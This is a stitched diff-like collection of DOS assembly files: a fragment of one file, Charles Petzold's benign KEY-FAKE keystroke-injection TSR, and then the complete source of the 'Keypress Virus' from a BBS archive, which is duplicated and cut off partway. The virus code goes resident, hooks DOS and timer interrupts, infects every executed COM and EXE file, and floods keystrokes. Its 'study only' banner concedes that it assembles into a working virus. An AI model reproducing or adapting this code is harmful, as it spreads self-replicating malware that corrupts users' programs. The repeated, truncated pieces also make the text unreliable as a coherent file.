LOAD_KEEPER ENDP
CODE_SEG ENDS
END FIRST ;END "FIRST" so 8088 will go to FIRST first.
@@ -0,0 +1,247 @@
; KEY-FAKE.ASM -- Fakes keystrokes from internal keyboard buffer.
; ============
CSEG Segment
Assume CS:CSEG
Org 0100h
Entry: Jmp Initialize
; Most Resident Data
; ------------------
db 'KEY-FAKE (C) Copyright Charles Petzold, 1985'
SearchLabelEnd Label Byte
OldInterrupt16 dd 0
Pointer dw Offset KeyStrokeBuffer
Counter db 0
; New Interrupt 16 (Keyboard)
; ---------------------------
NewInterrupt16 Proc Far
Sti ; Allow futher interrupts
Cmp CS:[Counter],0 ; See if characters in buffer
Jz DoOldInterrupt ; If not, just do regular interrupt
Or AH,AH ; Check if AH is zero
Jz GetCharacter ; If so, call is to get character
Cmp AH,1 ; Check if AH is one
Jz GetStatus ; If so, call is for status
DoOldInterrupt: Jmp CS:[OldInterrupt16] ; Otherwise, go away
GetCharacter: Push BX
Mov BX,CS:[Pointer] ; BX points to current buffer position
Mov AX,CS:[BX] ; Get ASCII code and scan code
Inc BX ; Move buffer pointer ahead
Inc BX
Mov CS:[Pointer],BX ; Save new pointer
Dec CS:[Counter] ; One less character in counter
Pop BX
Or AX,AX ; See if 0 returned
Jz NewInterrupt16 ; If so, take it from the top again
IRet ; Return to calling program
GetStatus: Push BX
Mov BX,CS:[Pointer] ; BX points to current buffer position
Mov AX,CS:[BX] ; Get ASCII code and scan code
Pop BX
Or AX,AX ; See if special 0 keystroke
Jnz StatusReturn ; If not, return non-zero flag
Add CS:[Pointer],2 ; If so, skip over it
Dec CS:[Counter] ; One less character
Or AX,AX ; Will set zero flag
StatusReturn: Ret 2 ; Do not pop flags
NewInterrupt16 EndP
; Beginning of Key Stroke Buffer
; ------------------------------
KeyStrokeBuffer Label Byte ; 256 Byte Buffer for keystrokes
; Initialization -- Search through Memory and see if label matches
; ----------------------------------------------------------------
;
; If so, use the loaded program; if not, create a new interrupt
Assume DS:CSEG, ES:CSEG, SS:CSEG
Initialize: Mov Word Ptr [Entry],0 ; Slightly modify search label
Mov Byte Ptr [Entry + 2],0 ; so no false matches
Cld
Mov DX,CS ; This segment
Sub AX,AX ; Beginning of search
Mov ES,AX ; Search segment
SearchLoop: Mov SI,100h ; Address to search
Mov DI,SI ; Set pointers to same address
Mov CX,Offset SearchLabelEnd - Offset Entry
Repz Cmpsb ; Check for match
Jz ReadyForDecode ; If label matches
Inc AX ; Still the search segment
Mov ES,AX ; ES to next segment
Cmp AX,DX ; Check if it's this segment
Jnz SearchLoop ; Try another compare
Mov Byte Ptr DS:[1],27h ; Since no match found,
; set up PSP for Terminate &
; remain resident.
; Save and Set Interupt 16 if Staying Resident
; --------------------------------------------
Sub AX,AX ; Set AX to zero
Mov DS,AX ; To access vector segment
Assume DS:Nothing ; Tell the assembler
Mov AX,Word Ptr DS:[16h * 4] ; Get vector offset
Mov Word Ptr CS:[OldInterrupt16],AX ; Save it
Mov AX,Word Ptr DS:[16h * 4 + 2] ; Get vector segment
Mov Word Ptr CS:[OldInterrupt16 + 2],AX ; and save it
Cli ; Don't interrupt me
Mov DS:[16h * 4],Offset NewInterrupt16 ; Store new
Mov DS:[16h * 4 + 2],CS ; address
Sti ; Now you can talk
Push CS
Pop DS ; Restore DS
Assume DS:CSEG
; Parameter decoding when program segment has been found
; ------------------------------------------------------
;
; ES = segment of loaded program (could be CS)
ReadyForDecode: Mov SI,80h ; SI points to parameter area
Mov DI,Offset KeyStrokeBuffer
Mov ES:[Pointer],DI ; ES:DI points to buffer area
Mov ES:[Counter],0 ; Set keystroke counter to zero
Lodsb ; Get parameter count
Cbw ; Convert to word
Mov CX,AX ; CX = parameter count
Inc CX ; So catch last delimiter (0D)
Or AX,AX ; Check if parameter present
Jnz GoDecodeLoop ; If so, continue
Jmp EndDecode ; If not, cut out
GoDecodeLoop: Jmp DecodeLoop
; End of Residence is end of Key Stroke Buffer
; --------------------------------------------
Org 256 + Offset KeyStrokeBuffer
EndResidence Label Byte
; Data for Parameter Decoding
; ---------------------------
QuoteSign db 0 ; Flag for quoted strings
DoingNumber db 0 ; Flag for doing a number
DoingExtended db 0 ; Flag for doing extended ASCII
CalcNumber db 0 ; A calculated number
Ten db 10 ; For MUL convenience
; Routine for doing quoted text
; -----------------------------
DecodeLoop: Lodsb ; Get character
Cmp [QuoteSign],0 ; Check if doing quoted text
Jz NotDoingQuote ; If not, continue checks
Cmp AL,[QuoteSign] ; Check first if character is quote
Jz EndQuote ; If so, finish quoted text
Sub AH,AH ; Set scan code to zero
Stosw ; Save it in buffer
Inc ES:[Counter] ; One more character
Jmp DoNextCharacter ; Go to bottom of routine
EndQuote: Mov [QuoteSign],0 ; End of quoted text
Jmp DoNextCharacter ; Get the next character
; Routine for Extended Ascii Character (@)
; ----------------------------------------
NotDoingQuote: Cmp AL,'@' ; See if character is for extended
Jnz NotExtended ; If not, hop over a little code
Mov [DoingExtended],1 ; Flag for extended ASCII
Jmp Delimiter ; To possibly dump number
; Routine for Quote Sign ' or "
; -----------------------------
NotExtended: Cmp AL,'"' ; Check for a double quote sign
Jz Quote
Cmp AL,"'" ; Check for a single quote sign
Jnz NotAQuote
Quote: Mov [QuoteSign],AL ; Save the quote sign
Jmp Delimiter ; To possibly dump number
; Routine for decimal number
; --------------------------
NotAQuote: Cmp AL,'0' ; See if character >= 0
Jb Delimiter
Cmp AL,'9' ; See if character <= 9
Ja Delimiter
Mov [DoingNumber],1 ; If so, doing number
Sub AL,'0' ; Convert to binary
Xchg AL,[CalcNumber] ; Get previously calculated
Mul [Ten] ; Multiply by 10
Add [CalcNumber],AL ; Add it to new digit
Jmp DoNextCharacter ; And continue
; Anything else is considered a delimiter
; ---------------------------------------
Delimiter: Cmp [DoingNumber],1 ; Check if doing a number
Jnz DoNextCharacter ; If not, do not dump
Mov AL,[CalcNumber] ; Set AX to ASCII number
Sub AH,AH ; Zero out scan code part
Cmp [DoingExtended],1 ; Check if doing scan code
Jnz NumberOK
Xchg AL,AH ; Switch ASCII and scan code
NumberOK: Stosw ; Store the two codes
Inc ES:[Counter] ; One more character in buffer
Mov [DoingNumber],0 ; Clear out all flags
Mov [DoingExtended],0
Mov [CalcNumber],0
DoNextCharacter:Dec CX ; One less character to do
Jz EndDecode ; If no more, we're done
Jmp DecodeLoop ; Otherwise, get next one
; End Decode -- Ready to terminate (and possibly stay resident)
; -------------------------------------------------------------
EndDecode: Mov DX,Offset EndResidence ; End of resident part
Ret ; Int 20h or 27h
CSEG EndS
End Entry

@@ -0,0 +1,739 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;********************************************************
; Source code of the Keypress Virus - Made by XSTC
; Made in A86 v3.07
;
; The Keypress Virus installs itself in top of DOS
; memory, without using DOS resident functions. It will
; hook int 1Ch (timer) and 21h (DOS) and will copy every
; 10 minutes during 2 seconds the keys you press five
; times (so if you press '1' it will be '111111') - if
; you press no key, it will usually give ESCs.
;
; In DOS 3+ it spreads to every file executed - so it
; can, besides COM/EXE, infect DRV/OVL/etc.
; It also spreads itself in DOS 1 and 2 with a special
; routine - in this case only COM/EXE files will be
; infected.
;
; It adds, after making full paragraphs of the file
; length, 1232 bytes to COM-files and 1216 to EXE.
;
; This code is only made to show the possibilities and
; dangers of a virus. It is only intended for research
; purposes - spreading a virus is prohibited by law.
;
; NOTE - The compiled code is not 100% compatible with
; the Keypress virus. A86 compiles the 'ADD BX,AX' and
; 'MOV DI,SI' different. This has totally no effect
; on the program.
;********************************************************
; After compiling the new virus, enter the new size in paragraphs in VirParSize
; and compile again.
VirParSize equ 4Ch ; Size of the original KeyPress virus
VirStart: jmp long VirBegin
db 0
ComStart: mov bx,cs ; When the virus has infected a .COM file,
add bx,[102h] ; this is the jump to the virus. Actually,
push bx ; this code is overwritten with the code
mov bx,offset VirBegin ; in the end of the virus.
push bx
retf
EB02 dw 02EBh ; 'jmp 104' - first 2 bytes in .COM file
VirSize dw VirParSize shl 4 ; Size of virus in whole pars
VirPars dw VirParSize + 1 ; Size of virus in pars+1
MaxComSize dw 0FF00h-VirParSize ; Max. size .COM file to infect (100h stack)
Com_or_exe db 00h ; 0 = Com-File, 1 = Exe-File
R_Ax dw (?)
R_Bx dw (?)
R_Cx dw (?)
R_Dx dw (?)
R_Di dw (?)
R_Si dw (?)
R_Bp dw (?)
R_Es dw (?)
R_Ds dw (?)
R_SS dw (?)
R_SP dw (?)
Exe_CS dw (?)
Exe_IP dw (?)
VirBegin: call Save_Regs ; Start of virus
call Fix_cs_ss ; Fix CS and SS of orig. prog (for .EXE files)
call Get_cs_ip ; Get CS and IP of original prog
call Check_res ; Check virus already resident
jb Exit_inst ; Yes, quit
call Inst_mem ; Install in memory
jb Exit_inst ; Error, quit
call Inst_ints ; Hook interrupts
Exit_Inst: jmp short Rst_regs_prg
nop
Jmp_Prg: db 0EAh ; Jump to original program
PrgOfs dw (?)
PrgSeg dw (?)
Check_res: push ds
xor bx,bx
mov ds,bx
mov bx,600h ; Unused word in memory
cmp word ptr [bx],1 ; Already installed?
jz Installed ; Yes
mov word ptr [bx],1 ; No
stc
Installed: cmc
pop ds
ret
;*** For .EXE: Fix orig-prog CS and SS ***
Fix_cs_ss: test byte ptr [Com_or_exe],1
jz no_exe
mov ax,es
add ax,10h
add Exe_cs,ax
add R_ss,ax
No_Exe: ret
;*** Get CS + IP of orig. program, and for .COM: Restore first 16 bytes ***
Get_cs_ip: mov ax,[Exe_cs]
mov bx,[Exe_ip]
test byte ptr [Com_or_exe],1
jnz No_rest ; .EXE file: no restore of first bytes
mov ax,es
mov bx,100h
mov cx,10h
mov si,offset First_bytes
mov di,100h
cld
repz ; Restore first 16 bytes (.COM file)
movsb
No_rest: mov [Prgseg],ax
mov [Prgofs],bx
ret
;*** Proc: Save the registers to restore them after the virus has ended ***
Save_Regs: mov cs:R_ds,ds
push cs
pop ds
mov R_ax,ax
mov R_bx,bx
mov R_cx,cx
mov R_dx,dx
mov R_di,di
mov R_si,si
mov R_bp,bp
mov R_es,es
ret
;*** Restore regs for original program ***
Rst_regs_prg: mov ax,R_ax
mov bx,R_bx
mov cx,R_cx
mov dx,R_dx
mov bp,R_bp
mov di,R_di
mov si,R_si
mov es,R_es
test byte ptr [Com_or_exe],1
jz No_StackRest ; No stack restore for .COM files
cli
mov ss,[R_ss] ; Restore .EXE stack
mov sp,[R_sp]
sti
No_StackRest: mov ds,R_ds
jmp short jmp_prg
;*** Restore regs for interrupts ***
Rst_regs_int: mov ax,R_ax
mov bx,R_bx
mov cx,R_cx
mov dx,R_dx
mov bp,R_bp
mov di,R_di
mov si,R_si
mov es,R_es
mov ds,R_ds
ret
;*** Proc: Search for last MCB ***
Last_MCB: push ds
mov bx,es
dec bx
Next_MCB: mov ds,bx
cmp byte ptr [0],5Ah ; Last MCB?
jz Is_last ; Yes
inc bx
add bx,[3] ; Go to next
cmp bx,0A000h ; In ROM?
jb Next_MCB ; No, try next one
Is_Last: pop ds
ret
;*** Proc: Install virus in end of memory ***
Inst_Mem: call Last_mcb ; Search last MCB
cmp bx,0A000h ; In ROM?
jb Not_ROM ; No, continue
No_Inst: push cs ; Yes, quit
pop ds
stc ; Error, virus not installed
ret
Not_ROM: mov ds,bx
mov ax,[3] ; AX = Size last MCB
sub ax,cs:[VirPars] ; - (Virussize in pars+1)
jbe no_inst ; Not enough memory, quit
cmp ax,800h
jb no_inst ; Less than 2048 pars free, quit
mov [3],ax ; Give program less space to install virus
add bx,ax
inc bx ; BX = seg where virus comes
mov es:[2],bx ; Enter in PSP, program not allowed there
sub bx,10h ; - 10h pars (virus starts at 100h)
push bx
push cs
pop ds
pop es
mov si,100h
mov di,si
mov cx,[VirSize] ; CX = virussize
cld
repz ; Copy virus to virus-segment
movsb
clc ; No error, virus installed
ret
;*** Install new interrupts (1C - Timer Tick, 21 - DOS) ***
Inst_Ints: push es
pop ds
mov word ptr [Ticks],0
mov ax,351Ch ; Get Addr Timer Tick
int 21h
mov I1c_ofs,bx
mov I1c_seg,es
mov ax,3521h ; Get Addr DOS-Int
int 21h
mov I21_ofs,bx
mov I21_seg,es
mov ax,251Ch
mov dx,offset New_I1c
int 21h ; Install New Timer-Tick Int
mov dx,offset I21_dos12
push dx
mov ah,30h ; Get DOS-Version
int 21h
pop dx
cmp al,3 ; Below 3.0?
jb DosBel3
mov dx,offset new_I21 ; No, new int
DosBel3: mov ax,2521h ; Install new DOS-Int
int 21h
push cs
pop ds
ret
;*** Proc: NEW 1C (TIMER TICK) INTERRUPT ***
; Every 10 minutes this routine sends during 2 sec. 180 extra keys to the
; keyboard-interrupt.
Ticks dw (?)
New_I1c: inc word ptr cs:[Ticks] ; Increment 'Ticks after virus loaded'
cmp word ptr cs:[Ticks],2A30h ; 10 minutes passed?
jb org_I1c ; No, go to orig. I1c
cmp word ptr cs:[Ticks],2A54h ; 2 sec. passed?
jbe screw_keys ; Not yet, give ESCs
mov word ptr cs:[Ticks],0 ; Time-counter to 0
jmp short Org_I1c ; Go to orig. I1c
Screw_Keys: push cx
mov cx,5 ; 5 times / tick
Put_Key: int 9 ; Give extra key
loop Put_key
pop cx
Org_I1c: db 0EAh ; Jump far to orig. I1c
I1c_Ofs dw (?)
I1c_Seg dw (?)
New_I24: mov al,0
New_I23: iret
I23_Ofs dw (?)
I23_Seg dw (?)
I24_Ofs dw (?)
I24_Seg dw (?)
ProgSize dw (?) ; Program size in paragraphs
New_I21: cmp ax,4B00h ; New DOS Int for DOS 3 +
jz Is_Start
jmp far dword ptr cs:[I21_Ofs] ; Jmp orig. I 21
Is_Start: call Save_Regs
call InstCritInt ; Install new ^c and crit. err. int
mov ax,3D02h ; Open file for read and write
mov ds,R_Ds
int 21h
push cs
pop ds
jc Close_File
mov bx,ax
call Read_header
jc Close_File
call Write_virus
jc Close_File
call Write_header
Close_File: mov ah,3Eh ; Close file
int 21h
call RestCritInt ; Restore ^c and crit-err ints
call Rst_regs_int
jmp far dword ptr cs:[I21_Ofs]
I21_Dos12: cmp ah,3Dh ; New DOS-Int for DOS 1.x and 2.x
jz Is_Open
JmpDos: db 0EAh ; Jump Far
I21_Ofs dw (?)
I21_Seg dw (?)
Is_Open: push ax ; Network-flags?
and al,0FCh
pop ax
jnz JmpDos ; Yes -> DOS
call Save_Regs
call InstCritInt ; Install new ^c and crit. err. int
mov DS,R_Ds
or al,2 ; Write access
pushf
cli
call far cs:[I21_Ofs] ; Open file
push cs
pop ds
jc Open_Error ; Error opening -> DOS
pushf
mov [R_Ax],ax ; Save handle
mov bx,ax
call Chk_Inf ; Check infection is possible
jc No_Infect ; No -> quit
call Read_header
jc No_Infect
call Write_virus
jc No_Infect
call Write_header
No_Infect: call Go_file_beg ; Go to begin of file
call RestCritInt ; Restore ^c and crit-err ints
call Rst_regs_int
popf
retf 2
Open_Error: call RestCritInt ; Restore ^c and crit-err ints
call Rst_regs_int
jmp short JmpDos
;*** Proc: Buffer for header of program to infect ***
Head_buf dw 0Ch dup (?)
;*** Proc: Install new ^C and crit. err. interrupt ***
InstCritInt: push ax
push bx
push dx
push ds
push es
push cs
pop ds
mov ax,3523h ; Get Ctrl-Break Int Addr
int 21h
mov I23_Ofs,bx
mov I23_Seg,es
mov ax,3524h ; Get Crit. Err Int Addr
int 21h
mov I24_Ofs,bx
mov I24_Seg,es
mov ax,2523h
mov dx,offset New_I23 ; Install new Ctrl-Break Int
int 21h
mov ax,2524h ; Install new Crit. Err Int
mov dx,offset New_I24
int 21h
pop es
pop ds
pop dx
pop bx
pop ax
ret
;*** Proc: Restore orig. ctrl-break and crit. err. interrupt ***
RestCritInt: mov ax,2524h ; Rest. orig. crit. err int
lds dx,dword ptr cs:[I24_Ofs]
int 21h
mov ax,2523h ; Rest. orig. ctrl-break int
lds dx,dword ptr cs:[I23_Ofs]
int 21h
push cs
pop ds
ret
;*** Read header of file ***
Read_header: mov ah,3Fh
mov dx,offset Head_buf
mov cx,18h
int 21h
jc HeadRead_Err ; Error reading, don't infect
call Check_infect ; Check file already infected; if not, save data
jc HeadRead_Err ; Error, quit
call Calc_data ; Calculate data for infected file
jc HeadRead_Err ; Error, quit
HeadRead_Err: ret
;*** Proc: Write virus, and for .COM files, write first 16 bytes behind virus ***
Write_virus: mov ah,40h ; Write virus behind program
mov cx,[VirSize]
mov dx,100h
int 21h
jc Err_Writ ; Write error, quit
cmp ax,cx
jnz Err_Writ ; ' ' ' ' ' '
test byte ptr [Com_or_exe],1
jz First_Write
ret
First_Write: mov ah,40h ; Write orig. 1st 16 bytes behind virus
mov cx,10h
mov dx,offset Head_buf
int 21h
jc Err_Writ ; Write error, quit
cmp ax,cx
jnz Err_Writ ; ' ' ' ' ' '
clc ; End procedure, no error
ret
Err_Writ: stc ; End procedure, error
ret
;*** Proc: .COM: Write jump-to-virus, .EXE: Write header ***
Write_header: call Go_file_beg ; Go to begin of file
test byte ptr [Com_or_exe],1 ; .EXE-file?
jnz Exe_header
mov ah,40h ; .COM file - Write 'EB 02'
mov cx,2
mov dx,offset EB02
int 21h
mov ah,40h ; Write program-size in pars
mov cx,2
mov dx,offset ProgSize
int 21h
mov ah,40h ; Write rest of begin of virus
mov cx,0Ch
mov dx,104h
int 21h
ret
Exe_header: mov ah,40h ; Write in File
mov cx,18h
mov dx,offset Head_buf
int 21h
ret
;*** Proc: Change file pointer ***
Cng_file_ptr: mov ax,4200h
int 21h
ret
;*** Proc: Go to begin of file ***
Go_file_beg: xor cx,cx ; Filepointer = 0
xor dx,dx
call Cng_file_ptr ; Change File Pointer
ret
;*** Proc: Check file is already infected ***
Check_infect: mov si,104h
mov di,offset Head_buf+4
push cs
pop es
mov byte ptr [Com_or_exe],0 ; Flag for .COM
cmp word ptr [di-04],5A4Dh ; Is .EXE?
jz Is_Exe
mov cx,0Ch ; No, .COM file
cld
repz ; Already infected?
cmpsb
jnz Do_Infect ; Not yet
Dont_Infect: stc
ret
Do_Infect: clc
ret
Is_Exe: mov byte ptr [Com_or_exe],1 ; Flag for .EXE
mov cx,[offset Head_buf+14h] ; cx = Prog-IP
cmp cx,offset VirBegin ; Same as Vir-IP?
jz Dont_Infect ; Yes, quit
cmp word ptr [offset Head_buf+0Ch],0 ; Max extra pars=0?
jz Dont_Infect ; Yes, quit
mov [Exe_ip],cx ; Save prog-IP
mov cx,[Head_buf+16h]
mov [Exe_cs],cx ; Save prog-cs
mov cx,[Head_buf+0Eh]
mov [R_ss],cx ; Save prog-SS
mov cx,[Head_buf+10h]
mov [R_sp],cx ; Save prog-SP
jmp short Do_Infect
;*** Proc: Calculate data for infection ***
Calc_data: mov ax,4202h ; Go to EOF
xor cx,cx
xor dx,dx
int 21h
test al,0Fh ; Size mod 16 = 0 (File is exact x paragraps)?
jz No_par_add ; Yes, no extra par added
add ax,10h ; Add paragraph
adc dx,0 ; Overflow -> Inc dx
and ax,0FFF0h ; Make paragraphs
No_par_add: test byte ptr [Com_or_exe],1
jnz Calc_exe
or dx,dx
jnz not_infect
cmp ax,[maxcomsize] ; File too big?
ja not_infect ; Yes, quit
cmp ax,[VirSize] ; File too small?
jbe Not_Infect ; Yes, quit
mov [ProgSize],ax ; Save program-size
mov cl,4
shr word ptr [ProgSize],cl ; In paragraphs
mov dx,ax
xor cx,cx
call Cng_file_ptr ; Go to EOF
clc
ret
Not_Infect: stc
ret
Calc_exe: push ax
push dx
add ax,100h ; 100 bytes stack
adc dx,0 ; Overflow - inc dx
mov cx,dx
mov dx,ax
call Cng_file_ptr ; Go to EOF
push bx
add ax,[VirSize] ; New exe-length
adc dx,0
mov bx,200h ; For header: / 512
div bx
or dx,dx
jz No_Correct
inc ax ; Files below 2.000.000h bytes - length correction
No_Correct: mov [Head_buf+2],dx ; Save new file-length
mov [Head_buf+4],ax ; ' ' ' ' ' ' ' '
pop bx
pop dx
pop ax
call Calc_cs_ss
mov word ptr [Head_buf+10h],100h ; Prog-SP=100h
mov word ptr [Head_buf+14h],offset VirBegin ; Set prog-IP
clc
ret
;*** Proc: Calculate new CS and SS for .EXE file ***
Calc_cs_ss: push cx
mov cx,4
Cs_ss_lp: shr dx,1
rcr ax,1
loop Cs_ss_lp
sub ax,[Head_buf+8] ; Size of header
sbb dx,0
mov [Head_buf+0Eh],ax ; Save prog-SS
mov [Head_buf+16h],ax ; Save prog-cs
pop cx
ret
;*** Check infection is possible ***
Chk_Inf: call Chk_exec ; Check file is executable
jb Not_exec
call Get_attr ; Check file has no SYS attr
Not_Exec: ret
;*** Search-paths ***
Com_path db '.COM',0
Exe_path db '.EXE',0
;*** Check file is executable (.COM / .EXE)
Chk_Exec: push es
mov es,R_ds
mov di,dx
xor al,al
mov cx,80h
cld
repnz ; Search '.'
scasb
jnz not_inf ; No '.' found
dec di
push di
mov si,offset Com_path+4
mov cx,4
std
repz ; Check '.COM'
cmpsb
pop di
jnz no_com ; No .COM
clc
jmp short Infect
nop
Not_Inf: stc
Infect: cld
pop es
ret
No_Com: mov si,offset Exe_path+4
mov cx,4
repz ; Check '.EXE'
cmpsb
jnz not_inf ; No .EXE either - not executable
clc
jmp short infect
Get_Attr: push ds
mov ax,4300h ; Get FileAttr
xor cx,cx
mov ds,R_ds
int 21h
pop ds
jb Bad_Attr ; Error - don't infect
test cx,4 ; System-Attr?
jnz Bad_Attr ; Yes, don't infect
clc
ret
Bad_Attr: stc
ret
First_bytes: int 20h ; First bytes of orig. program - here just 'Go to DOS'
dw (?)
mov bx,cs ; Overwrites the begin
add bx,[102h]
push bx
mov bx,offset VirBegin
push bx
retf
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
@@ -0,0 +1,739 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;********************************************************
; Source code of the Keypress Virus - Made by XSTC
; Made in A86 v3.07
;
; The Keypress Virus installs itself in top of DOS
; memory, without using DOS resident functions. It will
; hook int 1Ch (timer) and 21h (DOS) and will copy every
; 10 minutes during 2 seconds the keys you press five
; times (so if you press '1' it will be '111111') - if
; you press no key, it will usually give ESCs.
;
; In DOS 3+ it spreads to every file executed - so it
; can, besides COM/EXE, infect DRV/OVL/etc.
; It also spreads itself in DOS 1 and 2 with a special
; routine - in this case only COM/EXE files will be
; infected.
;
; It adds, after making full paragraphs of the file
; length, 1232 bytes to COM-files and 1216 to EXE.
;
; This code is only made to show the possibilities and
; dangers of a virus. It is only intended for research
; purposes - spreading a virus is prohibited by law.
;
; NOTE - The compiled code is not 100% compatible with
; the Keypress virus. A86 compiles the 'ADD BX,AX' and
; 'MOV DI,SI' different. This has totally no effect
; on the program.
;********************************************************
; After compiling the new virus, enter the new size in paragraphs in VirParSize
; and compile again.
VirParSize equ 4Ch ; Size of the original KeyPress virus
VirStart: jmp long VirBegin
db 0
ComStart: mov bx,cs ; When the virus has infected a .COM file,
add bx,[102h] ; this is the jump to the virus. Actually,
push bx ; this code is overwritten with the code
mov bx,offset VirBegin ; in the end of the virus.
push bx
retf
EB02 dw 02EBh ; 'jmp 104' - first 2 bytes in .COM file
VirSize dw VirParSize shl 4 ; Size of virus in whole pars
VirPars dw VirParSize + 1 ; Size of virus in pars+1
MaxComSize dw 0FF00h-VirParSize ; Max. size .COM file to infect (100h stack)
Com_or_exe db 00h ; 0 = Com-File, 1 = Exe-File
R_Ax dw (?)
R_Bx dw (?)
R_Cx dw (?)
R_Dx dw (?)
R_Di dw (?)
R_Si dw (?)
R_Bp dw (?)
R_Es dw (?)
R_Ds dw (?)
R_SS dw (?)
R_SP dw (?)
Exe_CS dw (?)
Exe_IP dw (?)
VirBegin: call Save_Regs ; Start of virus
call Fix_cs_ss ; Fix CS and SS of orig. prog (for .EXE files)
call Get_cs_ip ; Get CS and IP of original prog
call Check_res ; Check virus already resident
jb Exit_inst ; Yes, quit
call Inst_mem ; Install in memory
jb Exit_inst ; Error, quit
call Inst_ints ; Hook interrupts
Exit_Inst: jmp short Rst_regs_prg
nop
Jmp_Prg: db 0EAh ; Jump to original program
PrgOfs dw (?)
PrgSeg dw (?)
Check_res: push ds
xor bx,bx
mov ds,bx
mov bx,600h ; Unused word in memory
cmp word ptr [bx],1 ; Already installed?
jz Installed ; Yes
mov word ptr [bx],1 ; No
stc
Installed: cmc
pop ds
ret
;*** For .EXE: Fix orig-prog CS and SS ***
Fix_cs_ss: test byte ptr [Com_or_exe],1
jz no_exe
mov ax,es
add ax,10h
add Exe_cs,ax
add R_ss,ax
No_Exe: ret
;*** Get CS + IP of orig. program, and for .COM: Restore first 16 bytes ***
Get_cs_ip: mov ax,[Exe_cs]
mov bx,[Exe_ip]
test byte ptr [Com_or_exe],1
jnz No_rest ; .EXE file: no restore of first bytes
mov ax,es
mov bx,100h
mov cx,10h
mov si,offset First_bytes
mov di,100h
cld
repz ; Restore first 16 bytes (.COM file)
movsb
No_rest: mov [Prgseg],ax
mov [Prgofs],bx
ret
;*** Proc: Save the registers to restore them after the virus has ended ***
Save_Regs: mov cs:R_ds,ds
push cs
pop ds
mov R_ax,ax
mov R_bx,bx
mov R_cx,cx
mov R_dx,dx
mov R_di,di
mov R_si,si
mov R_bp,bp
mov R_es,es
ret
;*** Restore regs for original program ***
Rst_regs_prg: mov ax,R_ax
mov bx,R_bx
mov cx,R_cx
mov dx,R_dx
mov bp,R_bp
mov di,R_di
mov si,R_si
mov es,R_es
test byte ptr [Com_or_exe],1
jz No_StackRest ; No stack restore for .COM files
cli
mov ss,[R_ss] ; Restore .EXE stack
mov sp,[R_sp]
sti
No_StackRest: mov ds,R_ds
jmp short jmp_prg
;*** Restore regs for interrupts ***
Rst_regs_int: mov ax,R_ax
mov bx,R_bx
mov cx,R_cx
mov dx,R_dx
mov bp,R_bp
mov di,R_di
mov si,R_si
mov es,R_es
mov ds,R_ds
ret
;*** Proc: Search for last MCB ***
Last_MCB: push ds
mov bx,es
dec bx
Next_MCB: mov ds,bx
cmp byte ptr [0],5Ah ; Last MCB?
jz Is_last ; Yes
inc bx
add bx,[3] ; Go to next
cmp bx,0A000h ; In ROM?
jb Next_MCB ; No, try next one
Is_Last: pop ds
ret
;*** Proc: Install virus in end of memory ***
Inst_Mem: call Last_mcb ; Search last MCB
cmp bx,0A000h ; In ROM?
jb Not_ROM ; No, continue
No_Inst: push cs ; Yes, quit
pop ds
stc ; Error, virus not installed
ret
Not_ROM: mov ds,bx
mov ax,[3] ; AX = Size last MCB
sub ax,cs:[VirPars] ; - (Virussize in pars+1)
jbe no_inst ; Not enough memory, quit
cmp ax,800h
jb no_inst ; Less than 2048 pars free, quit
mov [3],ax ; Give program less space to install virus
add bx,ax
inc bx ; BX = seg where virus comes
mov es:[2],bx ; Enter in PSP, program not allowed there
sub bx,10h ; - 10h pars (virus starts at 100h)
push bx
push cs
pop ds
pop es
mov si,100h
mov di,si
mov cx,[VirSize] ; CX = virussize
cld
repz ; Copy virus to virus-segment
movsb
clc ; No error, virus installed
ret
;*** Install new interrupts (1C - Timer Tick, 21 - DOS) ***
Inst_Ints: push es
pop ds
mov word ptr [Ticks],0
mov ax,351Ch ; Get Addr Timer Tick
int 21h
mov I1c_ofs,bx
mov I1c_seg,es
mov ax,3521h ; Get Addr DOS-Int
int 21h
mov I21_ofs,bx
mov I21_seg,es
mov ax,251Ch
mov dx,offset New_I1c
int 21h ; Install New Timer-Tick Int
mov dx,offset I21_dos12
push dx
mov ah,30h ; Get DOS-Version
int 21h
